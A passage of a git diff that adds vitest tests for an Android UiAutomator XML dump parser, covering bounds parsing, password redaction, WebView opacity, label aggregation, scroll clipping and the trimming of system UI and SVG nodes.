+      expect(child.frame.x + child.frame.width).toBeLessThanOrEqual(1);
+      expect(child.frame.y + child.frame.height).toBeLessThanOrEqual(1);
+      expect(child.frame.x).toBeGreaterThanOrEqual(0);
+      expect(child.frame.y).toBeGreaterThanOrEqual(0);
+    }
+  });
+});
diff --git a/packages/tool-server/test/uiautomator-parser-v2-trim.test.ts b/packages/tool-server/test/uiautomator-parser-v2-trim.test.ts
new file mode 100644
index 00000000..d1528293
--- /dev/null
+++ b/packages/tool-server/test/uiautomator-parser-v2-trim.test.ts
@@ -0,0 +1,213 @@
+// Inline-XML coverage for the v2 interactables-only trim. Each trim rule
+// has a dedicated case below — duplicate-wrapper collapse, password
+// redaction, WebView opacity, descendant aggregation, scroll-clip, system
+// chrome — so the suite stays runnable without an external dump fixture.
+import { describe, it, expect } from "vitest";
+import {
+  parseUiAutomatorDump,
+  parseUiAutomatorXml,
+  parseUiAutomatorBounds,
+} from "../src/utils/uiautomator-parser";
+import { parseDescribeResult, type DescribeNode } from "../src/tools/describe/contract";
+
+function flatten(tree: DescribeNode): DescribeNode[] {
+  const out: DescribeNode[] = [];
+  const stack: DescribeNode[] = [tree];
+  while (stack.length > 0) {
+    const n = stack.pop()!;
+    out.push(n);
+    for (let i = n.children.length - 1; i >= 0; i--) stack.push(n.children[i]!);
+  }
+  return out;
+}
+
+describe("parseUiAutomatorBounds", () => {
+  it("parses well-formed [x1,y1][x2,y2]", () => {
+    expect(parseUiAutomatorBounds("[10,20][110,220]")).toEqual({ x: 10, y: 20, w: 100, h: 200 });
+  });
+
+  it("clamps negative width/height to zero", () => {
+    expect(parseUiAutomatorBounds("[100,200][50,180]")).toEqual({ x: 100, y: 200, w: 0, h: 0 });
+  });
+
+  it("returns null on malformed input", () => {
+    expect(parseUiAutomatorBounds("not bounds")).toBeNull();
+  });
+});
+
+describe("parseUiAutomatorXml", () => {
+  it("preserves `>` inside quoted attribute values", () => {
+    const xml = `<hierarchy><node text="A > B" bounds="[0,0][10,10]"/></hierarchy>`;
+    const root = parseUiAutomatorXml(xml);
+    expect(root?.tag).toBe("hierarchy");
+    expect(root?.children[0]?.attrs.text).toBe("A > B");
+  });
+});
+
+describe("parseUiAutomatorDump — v2 trim focused behaviour", () => {
+  it("collapses a clickable parent + clickable child with identical bounds", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.FrameLayout" bounds="[0,0][100,100]" clickable="true" content-desc="outer">
+    <node class="android.widget.Button" bounds="[0,0][100,100]" clickable="true" content-desc="inner"/>
+  </node>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 100);
+    const all = flatten(tree).filter((n) => n.role !== "Screen");
+    expect(all).toHaveLength(1);
+    expect(all[0]?.label).toBe("inner");
+    expect(all[0]?.role).toBe("Button");
+  });
+
+  it("redacts the value of password fields", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.EditText" bounds="[0,0][100,100]" clickable="true" focusable="true" password="true" text="hunter2"/>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 100);
+    const field = flatten(tree).find((n) => n.role === "TextField");
+    expect(field?.label).toBe("[password]");
+    expect(field?.password).toBe(true);
+    // The actual secret must NOT leak into `value` either.
+    expect(field?.value).toBeUndefined();
+  });
+
+  it("treats WebView as an opaque single leaf", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.webkit.WebView" bounds="[0,0][100,100]" content-desc="checkout">
+    <node class="android.view.View" bounds="[10,10][50,50]" content-desc="leaked-from-dom"/>
+  </node>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 100);
+    const webview = flatten(tree).find((n) => n.role === "WebView");
+    expect(webview).toBeDefined();
+    expect(webview?.children).toHaveLength(0);
+    expect(webview?.label).toContain("[web-view]");
+    // The DOM-side content-desc must NOT bleed through as a sibling node.
+    expect(flatten(tree).some((n) => n.label === "leaked-from-dom")).toBe(false);
+  });
+
+  it("aggregates descendant labels into a clickable container with no own label", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.view.ViewGroup" bounds="[0,0][200,200]" clickable="true">
+    <node class="android.widget.TextView" bounds="[0,0][100,50]" text="Alice"/>
+    <node class="android.widget.TextView" bounds="[0,50][100,100]" text="@alice"/>
+  </node>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 200, 200);
+    // The clickable wrapper now shows the row's labels so an agent tapping
+    // it knows what cell it's hitting.
+    const container = flatten(tree).find((n) => n.clickable);
+    expect(container?.label).toBe("Alice / @alice");
+  });
+
+  it("surfaces an EditText's content-desc as label and its text as value", () => {
+    // The contract pre-dates the v2 trim: DescribeNode separates the screen-
+    // reader-meaningful label (content-desc / role description) from the
+    // user-visible text (value). An EditText that has typed input AND a
+    // placeholder must keep both so an agent can read either piece.
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.EditText" bounds="[0,0][100,40]" focusable="true" clickable="true" text="hello" content-desc="Email"/>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 40);
+    const field = flatten(tree).find((n) => n.role === "TextField");
+    expect(field?.label).toBe("Email");
+    expect(field?.value).toBe("hello");
+  });
+
+  it("re-validates the trimmed tree against the public DescribeNode schema", () => {
+    // Cheap guardrail: the trim must always produce something
+    // `parseDescribeResult` accepts, even on minimal input.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy>
+  <node class="android.widget.Button" bounds="[0,0][100,40]" clickable="true" text="OK"/>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 40);
+    expect(() => parseDescribeResult(tree)).not.toThrow();
+  });
+
+  it("drops com.android.systemui chrome by default", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.FrameLayout" package="xyz.app" bounds="[0,0][100,100]">
+    <node class="android.widget.TextView" package="xyz.app" bounds="[0,0][50,50]" text="App content"/>
+  </node>
+  <node class="android.widget.FrameLayout" package="com.android.systemui" bounds="[0,0][100,30]" content-desc="status bar"/>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 100);
+    const labels = flatten(tree)
+      .map((n) => n.label)
+      .filter(Boolean);
+    expect(labels).toContain("App content");
+    expect(labels).not.toContain("status bar");
+  });
+
+  it("retains com.android.systemui chrome when includeSystem is set", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.FrameLayout" package="com.android.systemui" bounds="[0,0][100,30]" content-desc="status bar"/>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 100, { includeSystem: true });
+    expect(flatten(tree).some((n) => n.label === "status bar")).toBe(true);
+  });
+
+  it("counts scroll-hidden children but keeps visible ones", () => {
+    // The screen is 200x600 so both texts are within the screen rect, but
+    // the parent ScrollView only covers the top 200 px. The row's scroll-
+    // clip — inherited from its ScrollView ancestor — should drop the text
+    // at y=400 while keeping the one inside the viewport.
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.ScrollView" bounds="[0,0][200,200]" scrollable="true">
+    <node class="android.view.ViewGroup" bounds="[0,0][200,200]" clickable="true" content-desc="row">
+      <node class="android.widget.TextView" bounds="[0,50][200,100]" text="visible"/>
+      <node class="android.widget.TextView" bounds="[0,400][200,450]" text="hidden"/>
+    </node>
+  </node>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 200, 600);
+    const all = flatten(tree);
+    expect(all.some((n) => n.label === "hidden")).toBe(false);
+    const row = all.find((n) => n.label === "row");
+    expect(row?.scrollHidden).toBe(1);
+  });
+
+  it("strips React Native SVG sub-paths entirely", () => {
+    // com.horcrux.svg.{Path,Group,Svg}View are dump-side noise — the icon's
+    // content-desc lives on the parent ImageView/Button, not these leaves.
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.Button" bounds="[0,0][100,100]" clickable="true" content-desc="Send">
+    <node class="com.horcrux.svg.SvgView" bounds="[10,10][90,90]">
+      <node class="com.horcrux.svg.GroupView" bounds="[10,10][90,90]">
+        <node class="com.horcrux.svg.PathView" bounds="[10,10][90,90]"/>
+      </node>
+    </node>
+  </node>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 100, 100);
+    const roles = new Set(flatten(tree).map((n) => n.role));
+    expect(roles.has("PathView")).toBe(false);
+    expect(roles.has("GroupView")).toBe(false);
+    expect(roles.has("SvgView")).toBe(false);
+    // The Button itself must survive — only the SVG subtree is stripped.
+    expect(flatten(tree).find((n) => n.label === "Send")?.role).toBe("Button");
+  });
+
+  it("drops a node fully off-screen and contributing nothing", () => {
+    const xml = `<?xml version='1.0' encoding='UTF-8'?>
+<hierarchy>
+  <node class="android.widget.TextView" bounds="[2000,2000][3000,3000]" text="off screen"/>
+  <node class="android.widget.TextView" bounds="[10,10][100,30]" text="on screen"/>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    const labels = flatten(tree)
+      .map((n) => n.label)
+      .filter(Boolean);
+    expect(labels).not.toContain("off screen");
+    expect(labels).toContain("on screen");
+  });
+});